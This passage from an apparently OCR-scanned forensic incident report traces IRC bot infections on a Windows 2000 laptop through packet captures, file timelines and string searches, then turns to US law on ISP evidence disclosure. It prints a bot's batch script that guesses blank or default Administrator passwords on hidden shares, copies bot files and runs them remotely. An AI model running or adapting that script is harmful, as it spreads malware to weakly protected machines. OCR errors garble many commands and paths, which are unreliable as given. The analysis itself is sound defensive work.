the bot in atest environment to see exactly whereiit tries to connect “in practice”.

Thisis particularly useful if the bot has been detected by a network intrusion detection system
(IDS), which may simply detect outbound connections to a specific |P address on acommon IRC
port, such as 6667. In such a case, the IP address may be considered to be “hostile’, and an IDS
filter created to detect further connection attempts to the same address. Such an approach may
be misguided; IRC bot authors frequently have been known to use dynamic DNS services to host
their malicious IRC servers, allowing them to move dynamically from IP address to IP address.

Dynamic DNS is used to register a DNS hostname (i.e., nyser ver . sonmedonai n. con) and
link it to aparticular IP address. The service isintended to allow individuals running servers on
non-static IPs (such as may be assigned via DHCP from a DSL provider, for example) to
manually update the hostname-to-IP mapping if their IP address changes. However, this service
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is (ab)used by IRC bot masters to register their malicious IRC server domain name. The domain
name (as opposed to an IP address) isincluded in the IRC bot files. This allows the attacker to
control the particular IP address to which the domain name maps at any given time. If the
attacker compromises host ww. xxx. yyy. zzz, he can set the IP address for his domain name to
that address. If someone finds out that www. xxx. yyy. zzz has been hacked and shuts down the
server, it’s no problem for the attacker; he ssimply moves his IRC server to another |P address
that he “OwnZ” by changing his dynamic address registration to aaa. bbb. ccc. ddd instead.
Some commonly used dynamic DNS providers include No-1P.com (http://www.no-ip.com),

ODS (Open Domain Server, http://www.ods.org), and DynDNS (http://www.dyndns.org).

Monitoring the bot activity lets us know which domain name the bot istrying to connect to. We
can use Ethereal to monitor the network traffic and detect which domain names are requested
using DNS queries.

Thefilencf g. exe isthe IRC bot / client installed as part of “Bot #3”. Running the file and

capturing the traffic with Ethereal, we can see the DNS lookup requests for the host
i rc. uni xphr34kz. com
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@ irc.unixphreaksz - Ethereal = II:IiE]

File Edit Capture Display Tools Help
Source  |lestination| Protocol | Info =
192,168, 152,168 DNS standard guery A drc.unixphr3dkz. com
vimware_: Broadca ARP who has 192.163.112.1287 Tell 192.165.112,
Wiware_. Vmware_ ARP 152.168.112.128 s at 00:0C:29:29:c0:8a
192,168, 192,168 ICMF cestination unreachahle

E 192, gquery A Trc.unlxphrsdkz, com
1%92.1658, 192,168 ICMP cestination unreachable
192,168, 192,168 DNS standard guery A drc.unixphr3dkz. com
192,168, 192,168 ICMP Destination unreachahle
192,168, 152,168 DNS standard guery A drc.unixphr3dkz. com
192,168, 192,168 ICMP cestination unreachahle
152,168, 192,168 DNS standard query A drc.unixphr3dkz. com
192,168, 192,168 ICMFP cestination unreachahle
192,168, 192.168 DNS standard guery PTR 1.0.0.127.1in-addr.arpa
1%2.1658, 192,168 ICMP cestination unreachahble
192.168, 152,168 DNS Standard guery PTR 1.0.0.127.19n-addr.arpa /
| I =
EFrame 8 (79 bytes on wire, 79 bytes captured) 5
B Ethernet II, Srec: 00:0C:29:29:c0:8a3, Dst: O0:50:56:c0:00:00

B Internet Protocol, Src addr: 192.168.112.128 (192.168.112.128), O

B User Datagram Protocol, Src Port: 1031 (10310, bDst Port: domain

E CDomain Mame Swstem (guery’) !

i~ I

e
googo 00 50 56 <O 00 01 00 OcC 29 25 <0 8a 08 00 45 00 o PV A
0010 00 41 05 4b 00 00 80 11 d3 8e <0 a8 70 80 <0 aB ALK, . 0
0020 7O 01 04 OF 00 35 00 2d kb4 74 00 03 01 00 00 01 g....5.-1

£

0030 00 00 00 00 00 00 03 6% 72 63 Ob 75 6e 69 FE 7O ....... il
0040 68 72 33 34 6b Fa 03 63 &6F &6d 00 00 01 00 01 hr3dkz.cll

Filter: _f] Reset| Apply|| File: irc.unixphreakz

Figure 9 - Ethereal output showing DNS name resolution request

The DNS lookups fail because in our test environment, we do not have a DNS server configured.
However, we are still able to see the name query requests. For further testing, we could
configure alocal “hosts’ fileto point thei r c. uni xphr 34kz. comdomain to the IP address of
an IRC server within our test 1ab. We could then continue to monitor the network
communications to see what channel(s) the IRC bot attempts to connect with, as well as any
passwords or authentication for those channels that may be passed across the network.

Analysis#3: Examining an unknown binary.

Unknown binaries can be examined within aVMWare environment as described elsewhere in
this document. An additional technique isto simply attempt to run the binary with the-h, / h,
-?,1?,and/or - - hel p switches; sometimes you will get lucky and “help” information will
actually be available for the filein question.
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Thefilel i bpar se. exe isinstalled as part of “Bot #5”. “Strings’ output for this file does not
reveal agreat deal of useful information. We run the command | i bpar se —h to seeif we
receive any useful information back:

C.\forensics\w nnt\systenB2>| i bparse —h

PrcViewv 3.6.2.1 cormand line utility by Igor

Usage: pv - [ <MODE>]
Modes:
-h,-? --help
-k --kill
-a --activate
-C --cl ose
-m --nmodul e
-g --getenv
-p[nihr] --priority
Ti me"
[ ba]
or hi gher
-t --tree
-u - - usage
-S --sumary
Opti ons:
-f, --force
-e, --extend
-, --id
-q, - - qui et
list
-d[tine] --delay
command
-1 [mask] --1ong
-wW mask] --wi ndow

show hi dden

Argunments can contain '*'

Nys

- [ <OPTI ONS>] <ARGUMENTS>. . . - [ <OPTI ONS>]

di splay this help infornation

ki ll PROCESS

activat e PROCESS

cl ose (send WM CLOSE) to the PROCESS
show nodul es used by specified PROCESS
get startup environnment for the PROCESS
set priority to "Normal", "ldle", "H gh", "Rea
"Bel ow Normal " and "Above Normal" only on WK

di spl ay process tree
show processes that uses specified MODULE
show MODULE usage sunmary

never pronpt

show additional information if avail able
use process I D instead of the PROCESS nane
supress headers and produce a tab-separated

delay tinme in mlliseconds before executing
i ncl ude process comand |ine

show only processes with visible windows, -e

and '?" wldcards.

Process return code (YERRORLEVELY can be used in batch files

0 -

Exanpl es:
pv nyprocess. exe
pv -e
pv -k sleep*

pv -m -e expl orer. exe

nodul es
pv -u ol eaut*.dl
pv -ph w.exe
processes
pv expl orer. exe

process found, 1 -

-1"*/S" | ooks for explorer

enpty result set, 2 - progranm error

get process ID for nyprocess. exe.

get extended |ist of running processes.
kill all processes starting with "sl eep"”
get extended information about explorer's

list of all processes that use matching dl
set priority to hight for all matching

process with /S switch

Figure 10 - Help information for libpar se.exe
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Bingo —we can seethat | i bpar se. exe isthe (renamed) PrcView v.3.6.2.1 utility (pv. exe)
written by Igor Nys, acommand line utility to view information about and manipulate Windows
processes. Hackerswill rarely include “help” in their self-compiled or home-grown tools, but
they will frequently include renamed copies of legitimate binaries (with help intact) within their
toolkits.

Further analysis

Analysis of the malicious code can extend further; to truly watch the malware “in action”, we
could emulate a“real world” environment — setting up a hosts file or DNS server so the IRC bots
could conduct valid name queries; mapping the IRC server nameto the IP of atest IRC server
within our own environment; causing the bots to connect to our IRC server to alow usto

observe their behavior and manipulate the infected IRC client and so on. Such analysisis
beyond the scope of this paper, but is indicated here to show the additional research which can be
performed at the discretion of the analyst.

Timeline Analysis

We have aready pieced together a reasonable timeline using our various Windows utilities
(PSinfo, DumpSec, and in particular the Windows “di r 7 command to extract MAC times).
However, the di r command does have some shortcomings. In particular, it sorts each individua
directory by date / time — it cannot show us afull listing of al filesin date order. Also, we must
obtain Create, Modify, and Access (MAC) times separately — we cannot obtain all threein a
single list without consolidating our output. Finaly, it lists timestamps for existing files only —it
does not have the capability to list MAC times for deleted data.

For these reasons, we want to use other tools to double-check our timeline analysis and fill in any
gaps that we may have missed. To do this, we use The Sleuth Kit (TSK —
http://sourceforge.net/projects/sleuthkit/) and The Autopsy Forensic Browser (Autopsy —
http://sourceforge.net/projects/autopsy/), two forensic tools used on the Unix / Linux platform.
TSK isused to create a“body” file from our partition image for analysis; Autopsy is agraphical
browser-based tool used to more easily examine our body file.

In order to prepare for our analysis, wefirst create a directory where we can mount our system
image (/ evi dence/ j ohndoe_c. i ng):

nkdir /mmt/johnd

Then, we mount the image of John Do€e’'s C:\ drive. In order to preserve forensic integrity of the
drive, we mount it using the loop device (I oop) and flag theimage as read only (r o), indicate
that the access times should not be modified (noat i ne), and that no executable code should be
run (noexec) (command is wrapped due to space limitations):

mount —t nsdos /evidence/johnd_c.ing /mt/johnd —o
ro, |l oop, noati me, noexec
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We then start our Autopsy browser:

. [ aut opsy
and pass the URL generated into our Mozilla browser.

Once Autopsy is running, we need to use it (in conjunction with TSK) to create a case file,
generate a“body” file from the partition image, and generate our timeline based on that body
file

* A new Caseiscreated called “johnd” with investigator “jen”.

» Autopsy confirms creation of our case directory
(/usr/1ocal/bin/evidence//johnd/) and configuration file
(/usr/1ocal/bin/evidence//johnd/ case. aut ), and the addition of our
investigator to this case.

* We can now select our new Case and proceed to Autopsy’s Host Gallery to add a new
host (John Do€' s laptop) to this case.

* We add the host “johnd” (representing John Doe’ s laptop) and indicate the time zone of
Pacific Standard Time (PST).

» Autopsy confirms the addition of the new host directory
(/usr /1 ocal / bi n/ evi dence/ / j ohnd/ j ohnd) and configuration file
(/usr/1ocal/bin/evidence//johnd/johnd/ host. aut).

* Oncethe host is added, we move to Autopsy’ s Host Manager to add the image of this
host to our case.

* Wesdect theimage location (/ evi dence/ j ohndoe_c. i ng); specify that the image
should be added as a symbolic link (symlink) to our evidence locker; specify afile
system type of FAT32; list our mount point (/ mt / j ohnd); enter our previously-
generated MD5 checksum for the image (7321505903bdb5196d78f d5f 4db1f 974) ;
and ask Autopsy to verify the MD5 sum after importing the image.

* Autopsy confirms that our image has been added and the MD5 sum has not changed.

* Now that our image has been added, we can return to Host Manager to create our datafile
(sometimes referred to as the “body” file). We ask Autopsy to include allocated files,
unallocated files, and unallocated meta data structuresin our “body” file and to generate
an MD5 hash to verify the body file.

* Oncethebody fileis created, we can finally generate our timeline.

Again, we are using Autopsy’ stimeline output to seeif there is anything we might have missed
during our initial analysis using Windows tools and utilities. Based on our Windows
timestamps, our first infection date appears to be 19 November 2002, so we will generate our
timeline from 1 October 2002 to the present.

Reviewing the timeline, we see that some of our malicious files were modified as far back as
early October. However, Windows will preserve the last Modified time from another host. What
these dates tell usisthat our first group of hackers were creating (or modifying) their bot files on
October 5:
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M odify times showing hackersat work on bot files

Sat Oct 05 2002 23:03: 00 15146 m. -/-rwxrwxrwx O 0
259716371 / mt/j ohnd/ W NNT/ syst enB82/ 0os2/ dl | / packs/ COPYI NG
Sat Cct 05 2002 23:04: 00 50 m. -/-rwxrwxrwx O 0

259716396 / mt/j ohnd/ W NNT/ syst enB2/ 0s2/ dl | / packs/ mybot . xdcc. bkup
( MYBOTX~1. BKU)

275968 m. -/-rwxrwxrwx O 0
259716400 / mt/j ohnd/ W NNT/ syst en82/ os2/ dl | / packs/ servi ces. exe

50 m. -/-rwxrwxrwx O 0

259716393 / mt/j ohnd/ W NNT/ syst en82/ os2/ dl | / packs/ nybot . xdcc ( MYBOT~1. XDC)
Sat Oct 05 2002 23:05:00 4 m. -/-rwxrwxrwx 0 0
259716411 / mt/j ohnd/ W NNT/ syst enB82/ 0os2/ dl | / packs/ xdccnt . i gnl ( XDCCNT~1. 1 GN)

However, we are looking for file creation times to show us when our first bot was installed. On
19 November at 15:56, the directory \ wi nnt \ syst enB2\ os2\ dl | \ packs iscreated and
malicious files are installed on John Doe€' s file system. John Doe isworking with various
documents and using his Hotmail email account at the time (as evidenced by files found in his
Internet Explorer Temporary Internet Files folders). We do not note the creation of a*“dropper”
file — a self-extracting executable used to install a hacker’ stools— so it appears that either the
files were copied directly to Mr. Do€’ s system, or that any “dropper” file used was later deleted.
Recall that we believe the attackers gained access by logging in directly to Mr. Doe' s system
using the hidden Windows shares (C$, ADMIN$) and aweak or blank Administrator password.

Use of Hotmail account

Tue Nov 19 2002 15:56: 30 10501 m. -/-rwxrwxrwx O 0
263896531
/ it/ j ohnd/ DOCUME~1/ j ohnd/ LOCALS~1/ TEMPOR~1/ CONTENT. | E5/ 4XM70LQ7/ Cornpose| 9]
( COCC9A~1)
Tue Nov 19 2002 15:56: 42 2976 ..c -/-rwxrwxrwx O 0
264898554
/ it/ j ohnd/ DOCUME~1/ j ohnd/ LOCALS~1/ TEMPOR~1/ CONTENT. | E5/ 4DEFK96B/ Conpose| 3]
( COVPOS~3)
Directory Created and First Malicious File Installed
Tue Nov 19 2002 15:56: 44 1306 ..c -/-rwxrwxrwx O 0
259716357 / mt/j ohnd/ W NNT/ syst enB2/ 0os2/ dl | / packs/ SERV- U. | NI
8192 ..c d/drwxrwxrwx O 0 7797511
/ mt/j ohnd/ W NNT/ syst enB2/ os2/ dl | / packs
2976 m. -/-rwxrwxrwx O 0
264898554
/ it/ j ohnd/ DOCUME~1/ j ohnd/ LOCALS~1/ TEMPOR~1/ CONTENT. | E5/ 4DEFK96B/ Conpose| 3]
( COVPCOS~3)
Tue Nov 19 2002 15:56: 46 36864 ..c -/-rwxrwxrwx O 0
259716359 / mt/j ohnd/ W NNT/ syst enB82/ 0os2/ dl | / packs/ TzoLi br.dl | (TzZOLI BR. DLL)
8192 m . d/drwxrwxrwx O 0 7797511
/ it/ j ohnd/ W NNT/ syst en82/ 0s2/ dl | / packs
Tue Nov 19 2002 15:56: 58 1706 ..c -/-rwxrwxrwx O 0
259716360 / mt/j ohnd/ W NNT/ syst enB2/ 0os2/ dl | / packs/ bm dl |
32842 ..c -/-rwxrwxrwx O 0

259716363 / mmt/j ohnd/ W NNT/ syst enB82/ 0s2/ dl | / packs/ BugSl ayer Uti | . dl |
( BUGSLA~1. DLL)
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Working with the timeline is difficult at best. Even limiting our date range (from 1 October 2002
to 30 June 2003), Autopsy generated afile over 42MB in size and over 6000 pages long — simply
filled with ASCII text listing dates and times. Our analysis laptop, while not state-of-the art, is
still reasonably robust (850MHz PIlI, 256MB RAM). However, it continually locks up (using
either Windows or Linux) when attempting to process the timeline file. Because of these
“technical difficulties’, an in-depth review of the Autopsy timeline is not performed; rather, the
analyst ssmply reviewed the timeline data to correlate evidence with significant timestamps
already extracted using Windows. A list of significant events follows (all times PST):

1/15/2001 19:20: 37 — Windows 2000 Professiona “Gold” installed

11/19/2002 15:56:44 — Installation of first IRC bot in
\wi nnt\systenB2\os2\dl I\ packs

2/6/2003 17:37:50 — Installation of second IRC bot in\ wi nnt\ syst en82\rnt cf g
2/21/2002 19:04:50 — Installation of VNC filesto\ t enp\ dri vers

2/25/2003 21:53:40 — Installation of sys33. exe “dropper” file for third IRC bot to
\'wi nnt\ systenB2

2/25/2003 21:55:46 — Installation of third IRC bot and VNC to\ Pr ogr am

Fi | es\ MBH p9\ WB2Confi g. Interestingly, an earlier version Norton Antivirus does
appear to have been active on this date; some files are caught and quarantined during
attempted installation.

3/1/2003 18:03:14 — Installation of psexec. exe (remote process execution tool) and
filesfor fourth IRC bot to\ wi nnt\ syst enB82. Again, afew (but not al) files appear to
be caught and quarantined by Norton Antivirus.

3/10/2003 16:17:00 — Administrator account used to log on to system (presumably by
attackers, gaining entry to system with a blank or weak password)

3/10/2003 16:19:24 — Installation of eexpl or e. exe IRC bot

3/16/2003 10:34:48 — Installation of wi nngnt . exe Serv-U FTP daemon to

\'wi nnt\ syst enB2\ wi ns

3/16/2003 11:34:46 — Installation of X Scan scanning utility to
\'wi nnt\ syst enB2\ wi ns\ XScan

3/16/2003 12:00: 28 — Installation of el eet . exe “dropper” fileto install fifth IRC bot
3/16/2003 12:08:00 — Installation of fifth IRC bot to\ wi nnt \ syst en82. Norton
antivirusis able to detect and quarantine afew of the bot files.

3/17/2003 00:00:00 — Norton antivirus reinstalled

3/17/2003 16:01:06 — Norton antivirus updated and new virus signature files downloaded
3/18/2003 00:00:00 — Norton Antivirus deletes several bot files (while retaining copiesin
“Quarantine”)

3/18/2003 20:41:00 — Administrator account password changed (either by user for
greater security or by attackers to prevent others from accessing the system using the
same vulnerability).

3/19/2003 10:27:18 — Installation of additional bot files to

\'wi nnt\ syst enB2\ wi ns\ NFor ce.

3/20/2003 15:28:16 — Installation of SFind scanning tool to
\'wi nnt\ syst enB2\ wi ns\ SFI ND

4/21/2003 23:16:46 — Instalation of downloader file pi zza. exe / JDOE96312. exe
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e 4/21/2003 23:17:06 — Installation of “dropper” file ndt gt . exe / newconf . exe
(retrieved by downloader file)

o 4/21/2003 23:20:58 — Installation of files for sixth IRC bot to
\'wi nnt\ hel p\t our s\ HTM_Tour

e 5/21/2003 — New IDSfilters detect suspicious activity associated with John Doe' s remote
access account. Remote accessisterminated. User isinstructed not to use system and to
turn it over to Security for analysis.

*  6/25/2003 — System finally brought in to Security team for analysis due to user being on
travel.

Recover Deleted Files

Analysis of our timeline does not indicate that any of the attackers were interested in maliciously
deleting data. Furthermore, the attackers did not seem particularly interested in “cleaning up”
after themselves following the various compromises that took place; for example, the “dropper”
(installation) files used to load the various IRC bots and tools were not removed from the system
following installation. Thisimplies that the attackers were either amateur “script kiddies” or
were overly-confident that their activity was unlikely to be detected (or both).

For these reasons, recovering any deleted datais not of primary importance in this case — which
isuseful, as our resources at hand are limited for recovering data from this Windows host.
debugf s and f sgr ab are useful only with ext2 file systems; we are dealing with FAT32. The
Coroner’s Toolkit (TCT), The Sleuth Kit, and Autopsy al include capabilities for retrieving
deleted (unallocated) data, but all of these tools are extraordinarily slow and cumbersome on our
Red Hat 9.0 analysis system, continually locking up the machine. Windows-based recovery
tools could of course be used — some, such as Norton File Protection, must be aready installed
on the user’s system (prior to file deletion) to be of any use. The Windows “Recyle Bin” may
contain “deleted” files that have not yet been permanently removed from the system. Other
tools, such as hex editors can be used to read information directly from disk.

In our case, these methods are not essential to the investigation of this case. However, we have
performed limited data recovery (as described above) through the use of Norton Antivirus
“Quarantine” feature. In the course of our investigation, we found that several files were
detected as “infected” or “malicious’ when John Doe re-installed and ran Norton Antivirus on 17
March. Norton can be configured to quarantine files that “can’t be cleaned” or, alternately, to
delete files that cannot be cleaned, but create a backup copy prior to deleting thefile. In either
case, suspected “malicious’ fileswill be preserved in a secure location on the system.

John Doe's copy of Norton Antivirus was examined, and copies of several files related to the
IRC bots were discovered in Quarantine, despite the fact that the originals were deleted from the
file system. Norton's “Restore Item” feature was used to “undelete” the files and replace them in
their original location on the file system, as described el sewhere in this document. See Appendix
C for acopy of the Quarantine log and the list of files restored.
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String Search

String searches are used to locate readabl e text (of any kind, or of a particular kind, such as IP
addresses or credit card numbers) in the course of an investigation. In this particular case, we
were able to retrieve the attackers' malicious files with relative ease. So, there was no
overwhelming reason to perform afull string search of the entire drive (were we investigating an
individual for a suspected crime, such as downloading pornography, we might conduct afull-

drive search for terms such as “porn”,
key words).

pornography”, “pron”, “adult”, “sex” and a host of other

However, we are very much interested in learning more about the various files we have
recovered, and so we perform afull string search on the full set of files found (as described
elsewherein this document).

We are interested in any text, particularly in the contents of scripts or batch files that will
indicate the capabilities of the malware. For example, thefilenchk. bat isused to attempt to
log on to a vulnerable system using the hidden Windows shares and a predefined list of
usernames and passwords. If alogon issuccessful, variousfiles are copied to\ t enp\ dri vers,
and the utility “nt cnd. exe” (used to execute commands on aremote host) is used to run the
script “a. vxd”, after which the C$ hidden shareis deleted. (a. vxd simply executes thefile

bl . exe, the IRC bot executable):

@cho off

net use \\%\C$ "" "/user:adm nistrator"

net use \\%\C$ "administrator” "/user:admnistrator"
net use \\%\C$ "adm n" "/user:admnistrator"”
net use \\%\C$ "" "/user:adm n"

net use \\%\C$ "admi n" "/user:adm n"

net use \\%\C$ "adm nistrator" "/user:adm n"
md \\ 9%\ C$\ Tenp

md \\ %\ C$\ Tenp\ Dri vers

copy /Y vnsystask.exe \\ %\ C$\ Tenp\Dri vers
copy /Y VNCHooks.dl | \\9%\C$\ Tenp\Dri vers

copy /Y omithread_rt.dll \\%\C$\ Tenp\Drivers
copy /Y nchk2.bat \\%\ C$\ Tenp\ Dri ver s\ go. bat
copy /Y bl.vxd \\%\ C$\ Tenp\ Dri vers\ bl . exe
ntcrd \\ % -u:admnistrator -p: < a.vxd

ntcrd \\ % -u:administrator -p:admnistrator < a.vxd
ntcrd \\ %l -u:admnistrator -p:admn < a.vxd
ntcrd \\ % -u:admin -p: < a.vxd

ntcnd \\% -u:admn -p:admin < a.vxd

ntcrd \\ % -u:admin -p:admnistrator < a.vxd
net use \\ %\ C$ /del

Table 6 - Contents of nchk.bat script

Other files include configuration files, which provide us with the names of IRC servers (and
sometimes channels) used by the bots or configuration settings for the FTP servers (ports used,
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permissions, passwords, etc.) For example, one of the FTP configuration file (serv-u. i ni)
gives us the port used by the FTP server:

Port Nr=5789

aswell as the password for the FTP site:

Passwor d=ungBPGQoC/ adA
among other information.

The large number of files retrieved from this system (250+) prevent listing of all relevant strings
data here. Information elsewhere in this document provides additiona IRC server and channel
information, and Appendix D provides detailed information about the files retrieved and their
purpose. Appendix E provides selected st ri ngs output listing unique or identifying
information related to the attackers and specific tool configurations.

Conclusions

Our subject, Mr. John Doe, has probably one of the worst cases of “user infection” we have seen
—more along the lines of “infestation”. To summarize, our anaysis has shown us that:

* Mr. Doe s Windows 2000 |aptop was poorly configured with respect to security.

Loaded with default OEM install of Windows 2000 Professional.

System never patched / updated since installation.

Default security settings never changed.

Administrator account apparently had a weak or non-existent password, which

allowed five out of six intrusions to occur.

Antivirus may not have been installed prior to 25 February 2003. If installed, it

appears to have been either an outdated version, or was not properly configured to

protect the system.
0 No persona firewall was installed on the system.

» Mr. Do€ slack of security allowed even inexperienced (or “script kiddi€”) hackersto
easily break into his system.

* Mr. Do€ slaptop was infected on five, possibly six separate occasions between 19
November 2002 and 21 April 2003 (see timeline analysis above) by sets of tools
generically known as“IRC bots’.

» Though each individual bot / toolset has its own capabilities, these bots have the standard
capabilities of:

o Filesharing over IRC viaxdcc/ iroffer and/or via Serv-U FTP server;

0 Attack capability viavarious denia of service attacks; and/or ability to scan for
and infect additional vulnerable hosts; and/or ability to use additional scan/attack
tools (i.e., XScan, spast i c. exe denia of servicetool, etc.)

o O OO

o
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» All of the bots except for the last one appear to have infected Mr. Doe’ s laptop by
logging directly into his unprotected host using the Windows Administrator account and
aweak or blank password.

* Thefinal bot was most likely installed asa Trojan (i.e., unintentionally installed by Mr.
Doe himself). Thisbot closely matches the description of “Backdoor.|RC.Ratsou” as
described by Symantec™* and is probably this exact bot or a close variant.

* Whileantivirus software detected and quarantined some of the maliciousfiles, the
majority of the filesinstalled by the attackers were not detected as malicious
(configuration files, “legitimate” files used for malicious purposes, or files for which the
antivirus vendor apparently did not have asignature). In quarantining some of thefiles,
Mr. Do€' s antivirus “broke” some of the malicious tools, but |eft others operational.

» Theinfection most likely occurred over Mr. Doe's personal RoadRunner DSL account.
However, when Mr. Doe then used the corporate dial-up service to access our network,
he exposed us to the bots. (Fortunately, despite intense IDS scrutiny, no infected systems
were found inside the network.)

» Themaliciousfiles yield numerous “fingerprints’, including IRC server and channel
names, userids, passwords, |P addresses, and various “handles’ used by individuas or
hacker groups. If thisincident were of such a scope to merit criminal prosecution, a
number of “leads’ are available to attempt to track down the authors/ users of these
tools.

Part 3—Legal Issuesof Incident Handling

Incident handling raises a number of legal questions, both in terms of what actions an
investigator can and cannot perform, and in terms of how the handler can legally interact with
law enforcement.

For purposes of addressing the following legal questions, consider the following scenario (from
GCFA Practical Assignment v1.3, Part 3:

You are the system administrator for an Internet Service Provider [ISP] that
provides Internet access to paying customers. You receive a telephone call from
a law enforcement officer who informs you that an account on your system was
used to hack into a government computer. He asks you to verify the activity by
reviewing your logs and determine if your logs reflect whether or not the activity
was initiated there or from another upstream provider. You review your logs and
can only determine a valid user account logged in via a dialup account during the
period of the suspicious activity.

What, if any, information can you provide to the law enforcement officer over the phone
during theinitial contact?

1 Backdoor.IRC.Ratsou, Symantec Security Response, 5 May 2003. URL:
http://securityresponse.symantec.com/avcenter/venc/data/backdoor.irc.ratsou.html (URL may be wrapped.) Page
accessed 28 September 2003.
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Asapublic provider of services, an ISP cannot voluntarily disclose information about a customer
to law enforcement except under very limited circumstances. Records pertaining to
communication (i.e., connection times, IP addresses, telephone numbers used, etc.), the contents
of communicationsin transit, and stored communications records (i.e., € ectronic mail) are
protected under US Federal law by the Pen Register / Trap and Trace statute (18 USC § 3121 —
3127"%), the Wiretap Act (18 USC § 2510 - 2522™%), and the Electronic Communications Privacy
Act (ECPA, 18 USC § 2701 — 2712").

While there are afew exceptions to the statutes above, where avalid customer (or at least avalid
customer account) isinvolved, the primary exceptions relate to the ECPA asfollows:
» where consent of the user is obtained (18 USC § 2702(b)(3) for content, § 2702(c)(2) for
non-content);
» wheredisclosureis necessary to providing service or to protecting the service (18 USC §
2702(b)(5) for content, § 2702(c)(3) for non-content);
» wherethe provider believes that there isimmediate danger “of death or serious physical
injury” (18 USC § 2702(b)(6)(c) for content, § 2702(c)(4) for non-content).

In the situation described above, none of the above exceptionsis likely to apply. 1SPs generaly
protect the privacy of their subscribers, and an ISP that required “ consent to monitoring” (for the
first exception) would have few customers! Regarding the second exception, it is difficult to
make an argument that disclosing information at this stage is necessary in the course of the ISP
providing or protecting service. Finally, we have no indication so far that any immediate danger
exists. So, no information can be disclosed at thistime.

What must the law enforcement officer do to ensure you preserve this evidence if thereisa
delay in obtaining any required legal authority?

Although alaw enforcement agent cannot compel an ISP to release records without either a
subpoena or warrant (depending on the information being sought), law enforcement can require
the ISP to initiate preservation of evidence through a simple request (preferably made in writing
to leave an evidence / audit trail). Thisrequirement is covered under 18 USC § 2703(f):

(f) Requirement To Preserve Evidence. -
(1) In general. -
A provider of wire or electronic communication services or a remote
computing service, upon the request of a governmental entity, shall take all
necessary steps to preserve records and other evidence in its possession
pending the issuance of a court order or other process.

1218 United States Code, Part 11, Chapter 206, §§ 3121 - 3127 (Pen Registers and Trap and Trace Devices), Cornell
University Legal Information Institute. URL: http://www4.law.cornell.edu/uscode/18/pl1ch206.html (URL may be
wrapped). Page accessed 28 September 2003.

1318 United States Code, Part |, Chapter 119, §§ 2510 - 2522 (Wire and Electronic Communications I nterception
and Interception of Oral Communications), Cornell University Legal Information Institute. URL:
http://www4.law.cornell.edu/uscode/18/plch119.html (URL may be wrapped). Page accessed 28 September 2003.
1418 United States Code, Part |, Chapter 121, §§ 2701 - 2712 (Stored Wire and Electronic Communications and
Transactional Records Access), Cornell University Legal Information Institute. URL:
http://www4.law.cornell.edu/uscode/18/plch121.html (URL may be wrapped). Page accessed 28 September 2003.
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(2) Period of retention. -

Records referred to in paragraph (1) shall be retained for a period of 90 days,
which shall be extended for an additional 90-day period upon a renewed
request by the governmental entity.*

What legal authority, if any, does the law enforcement officer need to provide to you in order
for you to send him your logs?

Thelegal authority required to obtain information about the subscriber will vary depending on
the type of information sought.

» For stored contents of communications that have been stored for 180 days or less, law
enforcement must obtain “awarrant issued using the procedures described in the Federal
Rules of Criminal Procedure by a court with jurisdiction over the offense under
investigation or equivalent State warrant” (18 USC § 2703(a)).

» For stored contents of communications that have been stored for more than 180 days,
law enforcement must provide:

(0]
(0]
(0]

awarrant, if no notice to the customer is given (18 USC § 2703(b)(1)(a));
asubpoena, if notice to the customer is given (18 USC § 2703(b)(1)(B)(i));
acourt order “issued by any court that is a court of competent jurisdiction and
shall issue only if the governmental entity offers specific and articulable facts
showing that there are reasonable grounds to believe that the contents of awire or
electronic communication, or the records or other information sought, are relevant
and materia to an ongoing criminal investigation” (18 USC § 2703(b)(1)(B)(ii)
and 8§ 2703(d)), if notice to the customer is given, though such notice may be
delayed under certain circumstances (18 USC § 2705).

» For non-content information (“arecord or other information pertaining to a subscriber
to or customer of such service (not including the contents of communications’, 18 USC 8§
2703(c)(1))), law enforcement must:

(0]

(0]
(0]
(0]

provide awarrant (18 USC § 2703(c)(1)(A)); or

provide a court order (18 USC § 2703(c)(1)(B)); or

obtain the consent of the subscriber (18 USC § 2703(c)(1)(C)); or

submit aformal written request, if the request pertains to an ongoing investigation
of telemarketing fraud and the subscriber is engaged in telemarketing (only
limited information can be obtained — 18 USC § 2703(c)(1)(D)); or

provide a subpoena (only limited information can be obtained — 18 USC §
2703(c)(1)(E) and 8§ 2703(c)(2)).

For non-content information, notice to the subscriber is not required.

What other “investigative” activity are you permitted to conduct at this time?

Although law enforcement is restricted in terms of what information they can request, access, or
monitor without some form of legal authority, these restrictions do not necessarily apply to the

1518 United States Code, Part |, Chapter 121, § 2703(f), Cornell University Legal Information Institute. URL:
http://www4.law.cornell.edu/uscode/18/2703.html (URL may be wrapped). Page accessed 28 September 2003.
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ISP itself. Under some circumstances, it is permissible for the ISP itself to initiate its own
investigation.

The possible exceptions would pertain to:
»  Ongoing monitoring of communications headers (covered under Pen Register / Trap and
Trace);
»  Ongoing monitoring of contents of communications (covered under the Wiretap Act);
» Accessto stored communications (covered under the Electronic Communications Privacy
Act).

Regarding the monitoring of data about communications (1P addresses, header information,
telephone numbers — all “non-content” data), the | SP would be able to monitor thisinformation
without violating US Federal law under the “provider exception” to the Pen Register / Trap and
Trace section of the US Code. 18 USC § 3121(b) states, in part, that:

(b) Exception. -
The prohibition of subsection (a) does not apply with respect to the use of a pen
register or a trap and trace device by a provider of electronic or wire
communication service -
(1) relating to the operation, maintenance, and testing of a wire or electronic
communication service or to the protection of the rights or property of such
provider, or to the protection of users of that service from abuse of service or
unlawful use of service; or
(2) to record the fact that a wire or electronic communication was initiated or
completed in order to protect such provider, another provider furnishing
service toward the completion of the wire communication, or a user of that
service, from fraudulent, unlawful or abusive use of service'®

If avalid subscriber is conducting “unlawful or abusive use of service” —in effect violating the
ISP's Terms of Service — by hacking into government computers, such monitoring would be
allowed under the exception above in order to protect the provider (the ISP).

Regarding the ongoing monitoring of the content of communications (i.e., installing a sniffer
to collect the contents of the subscriber’s communications), exceptions still exist but the
requirements are much more stringent. 18 USC § 2511(2)(a)(i) states that:

(2)
(a) (i) It shall not be unlawful...for an operator of a switchboard, or an officer,
employee, or agent of a provider of wire or electronic communication
service...to intercept, disclose, or use that communication in the normal
course of his employment while engaged in any activity which is a necessary
incident to the rendition of his service or to the protection of the rights or
property of the provider of that service, except that a provider of wire

16 18 United States Code, Part |1, Chapter 206, § 3121(b), Cornell University Legal Information Institute. URL:
http://www4.law.cornell.edu/uscode/18/3121.html (URL may be wrapped). Page accessed 28 September 2003.
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communication service to the public shall not utilize service observing or
random monitoring except for mechanical or service quality control checks.'’

